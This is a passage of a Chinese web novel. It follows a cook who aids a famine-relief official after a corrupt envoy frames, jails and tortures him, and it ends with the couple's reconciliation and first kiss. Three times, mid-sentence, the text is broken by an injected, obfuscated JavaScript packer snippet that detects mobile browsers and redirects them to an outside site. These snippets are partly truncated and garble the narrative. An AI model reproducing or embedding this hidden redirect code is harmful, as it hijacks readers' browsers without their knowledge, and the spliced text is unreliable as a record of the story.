云楚沅觉得他这话还挺有道理的,都这种时候了,能填饱肚子就行,没人会在意味道如何。 “咦,这粥里为何还掺杂着小石子?” “你有所不知,有些偷奸耍滑之人会伪装成难民来混饭食,粮食进了他们的肚子实乃浪费。” 听了裴昱臣的解释,云楚沅惊讶极了,这简直刷新了她的三观。世上怎么会有这么不要脸的人,竟然会跟难民抢东西吃。 裴昱臣冷笑一声:“哼,掺了石子的米粥对他们来说难以下咽,衙役们已经揪出好几个了,这些个无耻之徒我会让人套麻袋教训他们一顿的。” “就该这样!挨了打他们就不敢来了。”云楚沅颇为赞同,对付这种人就不能好言相劝,该动手时就动手。 虽然流民们的情绪暂时被安抚下去了,但裴昱臣深知继续这样下去情况只会更糟糕,必须尽快想办法解决粮食短缺的问题。 裴昱臣早已向上递了折子,可朝廷赈灾的银子迟迟未到,单靠粮仓里的粮食实在是杯水车薪。 看着面黄肌瘦的灾民们,裴昱臣暗暗发誓一定要做点什么,哪怕拼尽自己的一切也要帮他们度过这个难关。 —— 砂锅里的水咕嘟作响,云楚沅将鲫鱼滑入翻滚的沸水中,待到汤底变白,她掀开竹屉,把切成方块的嫩豆腐倒入锅中,宛如白玉落入琼浆。 “阿昱,再忙也要吃点东西呀。”云楚沅端着一碗鲫鱼豆腐汤走进书房。 这两天裴昱臣的忙碌和焦急她都看在眼里,他为了救济灾民之事茶不思饭不想,身形日渐消瘦,云楚沅特意煲了汤为小书生补补身子。 埋头写信的裴昱臣勉强挤出一丝笑容:“阿沅,先放在旁边吧,我待会用膳。” 赈灾的银子还没下来,不知道是不是因为雪大封路所以耽误了,他沉不住气往京城寄了几封信询问情况,也迟迟未见驿差归来。 云楚沅打开瓷盖,露出里面的鲫鱼豆腐汤,浓郁的香味顿时飘散开。 奶色的汤面上浮着点点油星子,绿葱花漂在上面,软嫩的豆腐块吸饱了汤汁,随着勺子轻搅微微颤动。 “阿昱,我喂你。你天天往外跑也不怕感染风寒,喝了这鱼汤暖暖身子吧。”云楚沅柳眉轻蹙,看着裴昱臣的下巴上冒出来的青色胡茬,她心疼得不行。 据她观察,小书生平日里十分注重形象,还有点轻微的洁癖,衣衫总是白净整齐,何时有这样邋遢的时候。 云楚沅舀起一勺鱼汤,放在嘴边吹了吹,确定不烫了之后才递到裴昱臣的唇边。 裴昱臣抬起头来,正好对上她波光潋滟的眸光,心上人的温柔小意实在令人难以拒绝,“好,那便听阿沅的。” 浓汤入喉,鲜味顺着舌尖漫开,鱼汤清甜,豆香醇厚。裴昱臣就着云楚沅的手细细品味,眼睛却一直紧紧盯着她,眼神饱含情愫。 86. 口是心非 朝廷赈灾的粮食和银子逾期十日终于到了,站在州署门口亲自迎接的裴昱臣和孟合舟在看见马车上下来的人时,脸色突变。 “哟,裴大人这副样子是不欢迎本官吗?”衣着华贵的男子在裴昱臣面前站定,露出一个阴郁的笑,“本官可是奉皇上旨意来扬州救济灾民的钦差大臣,裴大人还不快行礼。” 裴昱臣面不改色地拱手行礼,声音平稳、毫无起伏,“下官见过姚大人。” 此人正是姚丞相的独子,姚承志。 孟合舟表情担忧地看了身旁的师弟一眼,这姚承志是京中有名的纨绔,仗着自己爹是权势滔天的丞相成日里欺男霸女、为非作歹。 这样的人如何能做得了钦差大臣,不用想都知道是姚丞相安排的,赈灾一事大有油水捞,很可能被经手的官员贪污私吞。 更何况,姚家和裴昱臣关系不睦,姚承志显然是来者不善。 “起来吧裴大人,我这一路上舟车劳顿,该好好歇一歇。”姚承志居高临下地看着裴昱臣对他毕恭毕敬地行礼,心里十分畅快。 裴昱臣是名满京城的状元郎又怎样?还不是要对着他俯首。 盯着姚承志大摇大摆走进衙门的背影,裴昱臣蹙起了眉头,“若我所料不错,这赈灾的银子和粮食怕是指望不上了。” 孟合舟心里“咯噔”一声,面露讶异,“师弟,你的意思是,姚家人已经中饱私囊了?他们怎么敢的!这可是用来救济灾民的!” 嘴上这么说,但孟合舟也知道师弟的担忧不无道理。 翌日,裴昱臣刚从城外视察灾情回来,裤脚还沾着雪水,身着锦袍的姚承志在衙门门口堵住了他。 姚承志眼珠子滴溜溜一转,扫了眼不远处在粥棚排队的灾民,扯着嗓子嚷嚷道:“裴昱臣,你胆子可真肥啊!竟敢私吞赈灾粮食!” 此话一出,周围的灾民顿时围了过来,裴昱臣冷冷看向朝他发难的姚承志,瞧着他小人得志的嘴脸,就知道这人打定主意要栽赃他了。 “你有何证据?” “去,你们去搜查一番。”姚承志大手一挥,身后的官兵接收到命令立刻冲进仓库。不一会儿,他们抬出几口空箱子。 姚承志阴阳怪气地说道:“姓裴的,证据确凿,你还有何话可说?” 裴昱臣冷哼一声,反唇相讥,“欲加之罪,何患无辞?” 灾民们原本还指望着这些粮食活命呢,看到这副场景,顿时炸开了锅。 “什么,朝廷赈灾的粮食没了,这是要逼死我们啊!”面容憔悴的妇人搂住两个瘦巴巴的孩子不停抹眼泪,沙哑的声音透露着绝望。 “我们一家就指望着衙门施粥活下去,求求你们,千万不能停啊!”一位腿脚不好的老汉趴在地上磕头。 怒火中烧的灾民克制不住地挥起拳头,“狗官!是不是你私吞了!” 周围的衙役们赶忙拦住了扑向裴大人的男子。 裴昱臣看着这场闹剧,眼神微暗,他前几日刚安抚好灾民,向众人保证衙门会救济他们的,可现在灾民们对他的信任怕是要土崩瓦解了。 姚承志毫不掩饰自己的得意,对裴昱臣露出一个挑衅的笑容,“本官做主,即刻革去扬州知州裴昱臣的官职,听候发落!” 他之所以敢如此行事,就是因为太子卧病在床,不理朝事,二皇子成为储君已是板上钉钉之事。 赈灾的银子进了他的私库不可能再吐出来,姚承志干脆一不做二不休,直接栽赃到这个不识好歹的状元郎身上,反正也没人能救得了他。 —— 云楚沅听说裴昱臣被关进牢里后,惊得摔碎了手中的碗,“青竹,我没听清楚,你再说一遍!” 脸色煞白的青竹抹着眼角的泪水,哽咽道:“呜呜呜,前院传来的消息,新来的钦差大人说我们裴大人贪污赈灾粮食,派官兵把他给捉了起来。” “岂有此理!简直是一派胡言!”云楚沅愤怒地跺了跺脚,裴昱臣为了救灾一事急得像热锅上的蚂蚁,说他贪腐根本毫无依据。 “哪来的狗屁钦差,我要去和他理论!”气血上头的云楚沅来不及思考,只想将欺负小书生的坏人撕碎,忘记了这是封建社会,她一个手无缚鸡之力的弱女子完全无能为力。 云楚沅一打开门,差点撞上过来的孟合舟。 “云姑娘,还请你冷静。” 虽然孟合舟也很为师弟忧虑,但他看得清现下的情况,他们在被大雪围困的扬州城叫天天不应叫地地不灵,正面对上姚家人毫无胜算。 在孟合舟和青竹的轮番劝告下,云楚沅渐渐冷静下来,她也明白自己刚才太过冲动了,如果她就这样直接冲过去质问姚大人,轻则进牢里和裴昱臣作伴,重则人头落地。 后怕的云楚沅打了个寒颤,在心里痛骂了一顿这个皇权至高无上的朝代,这位二皇子还没登基呢,他的拥护者就已经无法无天了,要是他们混上从龙之功了那还了得! 虽说云楚沅对政事不了解,但此时此刻她由衷的希望正统太子能够支楞起来,灭了姚家人的气焰。 “孟大哥,你可一定要想想办法救救阿昱,洗去他身上的污名!”云楚沅拽住孟合舟宽大的袖子,眼神中隐隐透着乞求。 裴昱臣在她的心中已经被划在自己人那一栏了,就算他们之间不存在男女关系,云楚沅仍旧不希望他这样清正廉洁的好官被陷害。 孟合舟眉眼间有着和她一样的愁绪,这事非常棘手,京中的师父和严指挥使远水救不了近火,而且姚家人能当上赈灾的钦差已经很说明问题了,二皇子一派怕是掌控了朝堂。 “弟妹,不是我不愿帮忙,而是我也无可奈何啊,我想不到现在还有谁能救师弟。”孟合舟换了个更亲近的称呼,这种情况下云姑娘还能对师弟不离不弃,足以见得他们两人情深义重。 云楚沅松开孟合舟的衣服,耸拉着肩膀,娇躯微微颤抖,眼眶迅速泛红,泪珠挂在睫毛上摇摇欲坠。 孟合舟看着她这副伤心的样子,心里也很不是滋味,如果可以的话,他宁愿在牢里的人是他。 “弟妹,这州署上下都是姚承志的人,你待在这里不安全,赶紧收拾收拾东西我送你离开。” 云楚沅强忍着眼泪,瓮声瓮气地说道:“孟大哥,拜托你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246491|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先把我的小弟和小妹送出去,我想去见一见阿昱。” 孟合舟叹了口气,答应下来,“看守大牢的衙役是我相熟之人,我可以让你去跟师弟道个别。” 云楚沅吸了吸鼻子,抹干净眼泪,“孟大哥稍等片刻,我去做一顿膳食带给阿昱,他在牢里肯定吃得不好。” 暮色降临,牢狱里的青石板路泛着冷光,墙壁上火把噼啪作响,散发着微弱的光,将云楚沅单薄的身影拉得老长。 空气中有一股淡淡的血腥气,云楚沅攥紧掌心的绢帕,指节因用力而发白,她的裙裾掠过地面时沾上了灰尘。 “你不该来的。” 坐在草席上的男子尽管身着单衣也依旧气质斐然,他听见动静抬头对上云楚沅红彤彤的眼睛,再也做不到心如止水。 女子的发间簪着一支素雅珠花,几缕碎发垂落在白皙的脖颈边,裴昱臣眼神贪婪地扫视着她,仿佛要将她的模样深深刻在心里。 云楚沅忽然笑了,眉眼弯成月牙,“我若是不来,你这傻子能好好用饭吗?”说罢,她看向地上那碗未曾动过凉了的饭菜。 食盒掀开,蒸腾的热气模糊了视线,糖醋鱼卧在盘中,琥珀色的酱汁淋在上面,瞧着很有食欲。 “阿昱,身体最要紧,你可一定要好好吃饭。”云楚沅蹲下身子,将食盒从栏杆的缝隙里递了进去。 “好,我记住了。”裴昱臣缓缓点头,嘴角微微牵动,似乎是想扯出一个笑,却又转瞬即逝,只留下一抹苦涩的弧度。 良久,他缓缓抬起手,修长的手指轻轻捋了捋女子鬓边的发丝,艰难地挤出一句话,“阿沅,我们的试用期可能要提前结束了。” 云楚沅惊讶地睁大了眼睛,难以置信地开口,“你……你这是什么意思?” 裴昱臣深邃的双眸泛起一丝波澜,眼神中闪烁着复杂的神色,有隐忍,有无奈。 他微微蹙起眉头,眼眸缓缓低垂,与自己内心的挣扎做着最后的较量,“我的意思是……我们的关系到此为止了。” “裴大人,做人可不能太矫情。”云楚沅心里涩涩的,她又不是榆木疙瘩,他对她有没有意思,还能感觉不出来吗!这个男人就是口是心非,竟然想在遇到困难的时候将她推开。 “你走吧。”这简单的几个字,却仿佛用尽了他所有的力气,裴昱臣缓缓转过身去,背影落寞,晃动的衣摆仿佛也在诉说着他此刻心中的惆怅。 云楚沅腾的一下站起身来:“裴昱臣,你就是个懦夫!” 听见“噔噔噔”的脚步声远去,裴昱臣才敢回头,望着那抹背影苦笑。 并非他矫情,而是他深陷泥潭,和她扯上关系便是害了她,他怎么忍心拖她下水。 裴昱臣轻声叹了口气,想将心中所有的愁绪都随着这口气吐出去,“罢了,我们终究是有缘无分……”他的声音低沉而沙哑,带着一种说不出的无奈。 裴昱臣在心中暗暗发誓,倘若有朝一日能翻身,他必定向阿沅负荆请罪,再八抬大轿将她迎娶进门。 他静静伫立在原地,望着女子渐行渐远的背影,双手紧握成拳又缓缓松开。 87. 金丝虾球 虽然云楚沅在裴昱臣那里受了气,可她又不可能真的放任他不管,收拾好东西离开州署后,她马不停蹄去往扬州城排的上号的富贵人家,挨家挨户上门拜访。 “姑娘,你找谁?” “这位小哥,还请帮我通报一声,我是云记的东家,想跟你们老爷谈谈生意。” 门后的小厮听到云楚沅自报家门后,眼珠子一转,故作为难地开口:“云姑娘,你来的不巧,我家老爷方才出门去了。” 云楚沅表情一顿,外面的积雪都快到膝盖了,竟然还有人不在家老老实实待着。 “打扰了,还望小哥待你家老爷回来后知会他一声,若对我云记的生意有兴趣,可以派人通知我,我会亲自来跟他谈。” “一定,一定,云姑娘慢走。”小厮笑眯眯地合上了门。 云楚沅刚要转身离开,听到了门内两人的小声交谈。 “谁来敲门呀?” “云记的东家。” “哟,就是老爷吩咐不让咱们搭理的云记?” “嗯,听说她是下了大狱的裴知州的亲眷,老爷说了不必理会,和他们扯上关系白惹一身腥。” “咱们老爷请姚大人去花楼吃喝玩乐了,哪有工夫应付这位裴大人的家眷。” “这位云姑娘也是可怜,被裴大人连累了,听说云记账上的银子都拿去填赈灾银的窟窿了。” 云楚沅攥紧了身侧的拳头,很想转身拍门去质问他们既然不会帮忙干嘛还要应承?故意耍她玩吗! 可她还是忍下了这口气,这群富商都是些势利眼,现在姚家势头正盛,明知裴昱臣是被冤枉的,也没人愿意蹚这趟浑水。 “唉……”长叹了口气,云楚沅打起精神来,前往下一家。 不出所料,连着好几家人都对她避而不见,云楚沅接二连三地吃了闭门羹。 站在冰天雪地里,云楚沅迷茫地抬头望天,默默想着,太阳到底什么时候才会出来? “云姑娘,留步。” 云楚沅刚要登上马车,身后传来一道清脆的女声阻止了她。 回头一看,一位丫鬟打扮的姑娘气喘吁吁地跑了过来,手里还抱着个精致的木匣子。 “云小姐,我家夫人让我把这个交给你,她让我为你传句话。上回赏花宴的点心很好吃,希望还能尝到云记的吃食。” 云楚沅打开木匣子,里面放着满满当当的珠宝首饰,她一时间说不出话来,喉咙有些发紧。 小丫鬟嘴唇翕动数次,犹豫着开口:“云小姐,这是我们夫人从嫁妆里拿出来的,她这几日因着劝说老爷帮帮你还被冷落了……” 点点泪花在云楚沅的眸中闪烁,感动的情绪如潮水般涌来,瞬间让她的眼角湿润了,“替我谢谢你家夫人,算我欠冯姐姐一个人情,以后有什么事尽管吩咐我。” 云楚沅的声音略带哽咽,所有的坚强都在面对这份突如其来的关怀土崩瓦解。 她与这位夫人也就只在宋家的赏花宴上见过一面,话也没说过几句,想不到对方会雪中送炭、鼎力相助,可谓是患难见真情啊。 回到家后,云楚沅陆陆续续收到了几位赏花宴上结识的小姐和夫人送来的赠款,或多或少帮了她一把。云楚沅亲自去后厨做了许多肉松糕点,当做谢礼送给她们。 次日,云楚沅到施粥棚时,派人立了块功德牌,上面记录着每户人家捐赠的银子和物资,排在最上面的是宋家,其次是姜家。 这位姜老爷就是那位特别中意云记蟹黄酱的老饕,为了答谢他,云楚沅将家里仅剩的蟹黄酱都拿出来送给了他,把姜老爷乐得见牙不见眼,大手一挥又捐了一笔银子。 功德牌再往下便是云楚沅和裴昱臣,云楚沅在江南挣得银子可以说是都捐了,只留下了点本钱维持云记的经营。 而裴昱臣在掏出私房钱时专门询问过她的意见,问她如果他暂时拿不出聘礼还愿不愿意嫁。 云楚沅冷笑一声,这个男人别是那个时候就打定主意和她分道扬镳了吧,一想到这里,云楚沅就忍不住想去牢里捶他两拳。 功德牌再往下都是一些女子的名字,她们的前缀并非某家的夫人,而是直接写了本名,云楚沅可不想把这份功劳记在那些见风使舵的男人身上。 “你们瞧,这个功德牌上写着捐银子的恩人们,是他们给了咱们一口饭吃!” “咦,怎么这么多女子的名字,扬州城是有许多女富商吗?” “切,不是女富商多,而是手里攥着大把银子的老爷们瞧不起咱们。我刚到扬州时好几天没吃饭,饿得头晕眼花,拦住了一辆马车讨吃食,结果被王家老爷的随从一脚踢开了。” “呸,这些个奸商,没一个好东西!” “话不能这么说,宋家就不一般,看看人家,能捐上万两银子,真是菩萨心肠啊,我要去宋家门口磕两个头。” “诶,裴大人竟然也捐了不少银子,不是说他因为贪污赈灾银被抓进大牢了吗?” “听说裴大人是被冤枉的,新来的那位姚大人天天宿在青楼里,喝醉酒之后吐露出来的。” “天哪,这样的狗官为什么还不砍头!” “嘘!人家上头有人。” 粥棚外的功德牌吸引了许多百姓驻足,听着他们的议论声,云楚沅满意地点了点头。 这块功德牌就像是大巴掌,“啪啪啪”扇在那些满口仁义的奸商脸上。 没有对比就没有伤害,连深闺中的妇道人家都能心系天下,他们这些个八尺男儿羞不羞啊。 不仅如此,云楚沅找上花楼里的老鸨主动给她平了账,要求是将姚承志说过的话、做过的事通通夸大其词地宣扬出去。 见钱眼开的老鸨一听云楚沅说给楼里免费送几个月的零食,立马答应了。 反正青楼里人多眼杂,姚大人根本查不出谣言是从谁的嘴里说出来的,动动嘴皮子就能占个大便宜,何乐而不为呢? 传言的效果比云楚沅预想中的还要好,不过短短半日的时间,整个扬州城都知道裴知州是被京中来的姚大人陷害了。 原本谴责裴昱臣的灾民们态度来了个大转变,纷纷义愤填膺地大骂起了姚承志。 虽说百姓们围在州署抗议也没法让人立马把裴昱臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257791|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从牢里放出来,但姚承志想要一意孤行处置裴昱臣也是做不到的了。 姚承志将裴昱臣的罪名呈上去后,会有上级官员来核实情况,一旦发现民间舆情不对,便会彻查。而且二皇子想要名正言顺登基,十分在乎民间声望,绝不允许有人给他抹黑。 —— 云楚沅看着在她眼前转来转去的青竹,撇了撇嘴,“干嘛呢,走过来走过去的,晃得我眼睛疼!” 抓耳挠腮的青竹偷瞧了一眼云楚沅的脸色,小心翼翼地开口:“唉,我这是在担心裴大人,他在牢里面吃不好睡不好,还没有人关心他,这可如何是好呀。” 云楚沅夹菜的动作一顿,“啪”的一下将筷子撂在桌上,阴阳怪气地说道:“用得着你瞎操心吗?你家大人为了不连累别人那可是把所有人都推开了,我还上赶着去看他吗?” 青竹陪笑道:“云姑娘,我们家大人口是心非,你就别跟他一般见识了。” 云楚沅她轻咳一声,用纤柔的手掩住朱唇,故作矜持,“行吧,看在你的面子上,我就去看看他吧。” 正好她也想去探望一下裴昱臣,顺便邀功,将她为他做的事好好说道说道,既然有人给台阶下,云楚沅便装作被坳不过青竹的样子,点头答应了。 膳房里,云楚沅动作娴熟地捏起一只大虾,将完整的虾肉便脱壳而出,然后用刀背仔细地敲打,使虾肉变得富有弹性,放在瓷碗里堆成小小雪丘。 虾肉和猪肉一起剁成泥,用盐和胡椒粉调味后,加一勺淀粉搅成粘稠状。 碗中盛满金黄色的鸡蛋液、细腻的面粉与适量的水混合在一起,搅拌成顺滑的状态,调制好面糊。 云楚沅把处理好的虾泥逐一裹上面糊,宛如为它们穿上一层金色外衣,接着放进她自制的面包碎屑里,摇晃翻滚,使面包屑紧密地附着在虾球表面。 热油在锅中欢快地跳跃着,发出“滋啦滋啦”的声响,当油温达到恰到好处时,云楚沅小心翼翼地将一个个饱满圆润的金丝虾球放入锅中。 刹那间,锅里像是炸开了一朵朵绚丽的花,虾球周围不断涌现出气泡,带着油脂的香气迅速在空气中弥漫开来。 随着温度升高,虾球的颜色逐渐变深,从浅黄过渡到诱人的金黄,表面的面包屑也变得更加酥脆,形成一层薄薄的硬壳,锁住了内部鲜嫩多汁的虾肉。 云楚沅眼神专注地盯着飘浮在油锅里的虾球,掌控着火候和时间,适时地翻动虾球,确保它们受热均匀。 不多时,一个个色泽金黄、外酥里嫩的金丝虾球便大功告成,云楚沅将它们捞出后沥干多余的油,盛放在精美的瓷盘中。 旁边还搭配一小碟特制的酱料,那是云楚沅用沙拉酱和山葵特别调制的。 云楚沅拿起一个金丝虾球蘸上酱料,放入嘴里轻轻咬了一口,首先微甜略带辣味的沙拉山葵酱的味道,之后感受到的是外壳的酥脆,紧接着是内里弹牙鲜嫩的虾肉释放出的鲜香。 每一口都饱含了惊喜满足,让人忍不住想要再来一个,云楚沅沉浸在金丝虾球带来的美妙滋味之中,差点错过了与青竹约定好的时辰。 88. 初吻 大牢门前两座石狮子张着血盆大口,阴森森的煞气扑面而来。 青竹熟门熟路地跟看守大门的衙役插科打诨,趁人不注意往对方手心里塞了几枚碎银,衙役乐呵呵地收下了。 云楚沅跟着青竹正准备往里走呢,拐角处倏然出现三个陌生的面孔,为首的官兵上下打量他们,目光像刀子似的剐过来。 “站住!”官兵大声喝令道,腰间佩刀撞得叮当响。 青竹眼珠一转,像是被吓到了似的,手里的食盒摔在了地上,油纸包着的虾球骨碌碌滚到人家脚边。 他佯装惊慌失措,又是作揖又是赔笑:“官爷恕罪!小的毛手毛脚的,没拿稳……” “嗯?什么东西,好香啊。”官兵拿起地上那包吃食,揭开油纸露出里面金灿灿的虾球。 他凑近闻了闻,忍不住咽了咽口水,“我怀疑这东西有异,你不准带进去,我收走了!” 青竹心里欲哭无泪,这可是云姑娘分给他的金丝虾球,他才尝了一个就这么糟蹋了! 趁着众人注意力都被青竹和美食吸引,云楚沅贴着墙根儿挪步子,她今日特意穿了件半旧的粉色襦裙,发间斜插着一支朴素的木簪,活脱脱就是个丫鬟打扮。 潮湿发霉的空气裹挟着血腥味钻进鼻腔,心跳声鼓动得厉害,云楚沅小心翼翼地溜进了大牢里。 剧烈的喘息声混着鞭打的声响传来,躲在墙后的云楚沅险些咬碎银牙。 只见裴昱臣被悬在刑架上,前胸和后背皮开肉绽没有一块好肉,鲜血顺着衣角滴落,在地面上汇成一片小小血泊。 锦衣华服的姚承志坐在旁边的凳子上,手中握着嵌满宝石的马鞭有节奏地敲打掌心。 他的随从正往裴昱臣伤口上撒盐粒,男人疼得浑身痉挛却死死咬紧牙关不出声。 姚承志的笑声刺耳得很:“裴大人怎么连求饶都不会?”说罢,不等裴昱臣回应,下一鞭就接踵而至。 这个狗东西,竟然对小书生滥用刑罚! 云楚沅气得浑身发抖,她死死捂住嘴才忍着没叫出声来。 裴昱臣凌乱发丝间那双充血的眼睛突然亮了一下,显然小书生发现她了。 男人开裂的嘴唇微微翕动,无声地说着什么。云楚沅明白他是在让她躲好,千万不要出来。 姚承志握住鞭子挑起裴昱臣的下巴,欣赏着他咬烂的下唇,出声奚落:“哟,咱们裴大人还真是硬骨头啊,挨了这么多鞭还不认罪?” 裴昱臣咽下口中的血沫子,抬起头来反唇相讥:“呵,姚大人就这点手段吗?想屈打成招,是因为你根本就拿我没办法吧。” 被戳穿的姚承志恶狠狠地瞪了他一眼:“臭小子,要不是我爹说二皇子登基前我们姚家不能太过张扬,我早就一剑杀了你了。” “谋害朝廷命官的事,你们姚家还做的少吗?” 裴昱臣的冷嘲彻底激怒了姚承志,他从腰间掏出一把匕首,抵在了裴昱臣的脖子上,“你是不是想死?” “与虎谋皮,我倒想看看你们姚家的下场。”裴昱臣轻轻闭上了眼,他知道姚承志没那个胆子杀他,这个纨绔的手段和野心比起他爹来可差远了。 姚承志愤愤地收回匕首,裴昱臣所料不错,他就是嘴上逞逞威风,不敢闹出什么大事。 他害怕自己闯了祸会被他爹打断腿,而且姚家的两个庶子不像他这位嫡长子只会吃喝嫖赌,他们学问不错,很得姚父赏识。 姚承志之所以迫切地接下这份运送赈灾粮食的差事,一方面是可以捞好处,另一方面是想证明在父亲心中自己才是最重要的儿子。 “裴昱臣,我差点中了你的圈套了,你是不是故意惹怒我,想用你这条贱命陷害我!”自以为识破裴昱臣险恶用心的姚承志用冰凉的匕首拍了拍他的脸,“哼,我才不会上你的当。” 低着头的裴昱臣不动声色地看了一眼云楚沅藏身的地方,没有出声。 “哈哈,被我说中了,哑口无言了吧。”姚承志得意地仰头大笑,将手里的鞭子扔到随从的手里,转身往外走去。 “走吧,别在这里耽误工夫了,与其在这里欣赏裴大人狼狈的模样,我更想去花楼里抱着温香软玉消遣。” 云楚沅往墙角缩了缩身子,在姚承志路过时下意识屏住了呼吸。 瞧着他匆匆忙忙的背影,云楚沅翻了个白眼,这个酒囊饭袋的智商还真是不高。 待到姚承志的背影消失后,云楚沅闪身进去,她将手中的食盒放到木桌上,解开捆住裴昱臣四肢的麻绳,小心翼翼地把他扶到凳子上坐下。 云楚沅抖着手打开特意带过来的金疮药,一边为裴昱臣处理伤口,一边声音发抖地说道:“呆瓜,你何苦要出言激怒姚承志?” 裴昱臣扯出一个虚弱的笑容:“不把他气走,我如何能赶快与你说上话。” “我们都没关系了,你干嘛还要与我说话。” 看着小书生身上血淋淋的伤痕,云楚沅忍不住瘪了瘪嘴,眼泪砸在男人胸膛的衣服上印染出点点痕迹。 裴昱臣艰难地抬起手,轻轻抚过她颤抖的睫毛,“别哭了,伤眼睛。阿沅,那日你走后我反思了许久,是我太瞻前顾后,是我太过懦弱,我不该轻易说出那些逃避的话。方才看见你的身影,我才明白我根本就无法割舍你。” “我是你召之即来,挥之即去的玩物吗?” 云楚沅撕下衣摆的布条为裴昱臣包扎伤口,手上加重了力道,生气地说道:“裴昱臣,你当我很稀罕你吗?实话告诉你,这两天我已经找好下家了,那人比你好上千百倍。等你死了,我立马出嫁。” 感受到伤口处的疼痛,裴昱臣闷哼出声,他静默许久之后,才从喉间挤出一句低沉的话语:“你既已有了更好的选择,我又怎能强加阻拦?只是往后的路,我怕是不能与你同行了。” 看着裴昱臣隐忍又落寞的神情,云楚沅斜睨了他一眼,嘴上故意说道:“那裴大人可否祝我们百年好合,早生贵子?” 裴昱臣低下头,咬紧了牙关,“……抱歉,阿沅,我说不出口。” 小书生的声音有种破碎感,云楚沅隐约意识到了不对劲,放下手中的瓷瓶后,她双手捧住裴昱臣的脸抬了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273533|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子就对上男人泛红的眼眶,云楚沅讶异道:“你哭了?” 裴昱臣吸了吸鼻子,眼神委屈地瞟了云楚沅一眼,“我没有哭,我只不过是想起了伤心事。” 云楚沅见过这人刚正不阿的一面、英俊潇洒的一面、害羞脸红的一面,何时见过他哭鼻子的场景,一时感到有些新鲜。 “让我仔细瞧瞧,小书生到底有没有掉金豆子。”云楚沅侧着身子歪了歪头,自下往上地凑近裴昱臣藏起来的脸,古灵精怪地逗弄他,“你有什么伤心事呀?说出来让我高兴高兴。” 裴昱臣双眸似蒙着一层薄雾,看云楚沅的眼神饱含幽怨和眷恋,“我的宝贝被人抢走了,如何能不伤心?” 云楚沅脸颊微红,避开了男人直白的视线,暗骂这小书生忒不害臊! “咳,心爱的宝贝被抢了,那是你活该!” 裴昱臣紧紧盯着云楚沅,从她长长的羽睫到精致的耳垂,再到优美的颈部线条,没放过她的任何表情变化,他后知后觉地意识到云楚沅说的都是气话。 裴昱臣突然生出些莽撞的勇气,猛地抱住了云楚沅,收紧双臂,将她往怀里带了带,“好阿沅,我错了,别作弄我了,你能不能原谅我。” 常年握笔的手指带着粗糙的薄茧,刮蹭在云楚沅细嫩的脸蛋上,留下一点红印子,她躲开裴昱臣的大手,捏了捏他的腮,娇嗔道:“还敢不敢说那些伤人的话了?还敢不敢推开我了?” “裴某不敢。” “轻描淡写两句话就想甩开我?休想!” 云楚沅忽然抬起身,额头轻轻抵住他的,鼻尖相触的刹那,她能清晰感受到裴昱臣急促的呼吸扫过自己的唇畔,带着温热的水汽。 没有丝毫犹豫,也没有半分迟疑,云楚沅的吻落在小书生的唇上试探性的触碰,像是飘落在池水上的一片花瓣。 感受到唇上传来柔软的触感,裴昱臣愣了一瞬,反应过来云楚沅做了什么后,他用力扣住她的后颈,将这个吻加深,压抑许久的情愫如同决堤的江水一般奔涌而出。 云楚沅的心跳声震耳欲聋,却盖不住男人胸腔里同样剧烈的鼓动。 这一刻,所有的磨难都成了背景板,世间仿佛只剩下他们彼此交缠的呼吸和炽烈的爱意。 不知吻了多久,直到云楚沅感觉喘不上气来时才被放开,她的眼尾泛红,闪烁着盈盈的泪光的大眼娇嗔地看了男人一眼,气喘吁吁地抱怨:“裴昱臣,你坏死了!这是我的初吻!” 裴昱臣笑着用鼻尖碰了碰她粉嫩的脸颊:“我也是。” “阿昱,我们试用期结束吧。” 裴昱臣的神色十分慌张,他清了清嗓子,小心翼翼地开口:“阿沅,你这是何意?主动吻了我却不打算负责吗?” 云楚沅抚摸着他的脸庞,认真地与他对视,“阿昱,从今往后,你想做的事,我陪你一起做;你想走的路,我陪你一起走。” 桌子上的烛火不知何时燃得更旺了,映得裴昱臣眼底的光比任何时候都亮,他的额头与她相抵,轻声说道:“阿沅,等我出去了,定要风风光光娶你。” 89. 蒜香蛤蜊鸡汤 云楚沅想笑又忍住了,这个小书生不能轻易给他好脸色,“行啦,说的比唱的还好听,等你先从这大牢里出去再说吧。” 一边说着,她一边打开食盒,将里面的金丝虾球取了出来,“这虾球虽然没有刚出锅的好吃,但还酥脆着呢,快吃吧。” “好。”裴昱臣笑着点点头,刚要抬手拿起筷子,他动作一顿,眼神认真地看向云楚沅,“阿沅,我胳膊上的伤口太疼了,现在没力气抬手。” 云楚沅掀起眼皮看了一眼他无力耷拉着的手臂,没有拆穿他,“哦,那你想怎么办?” 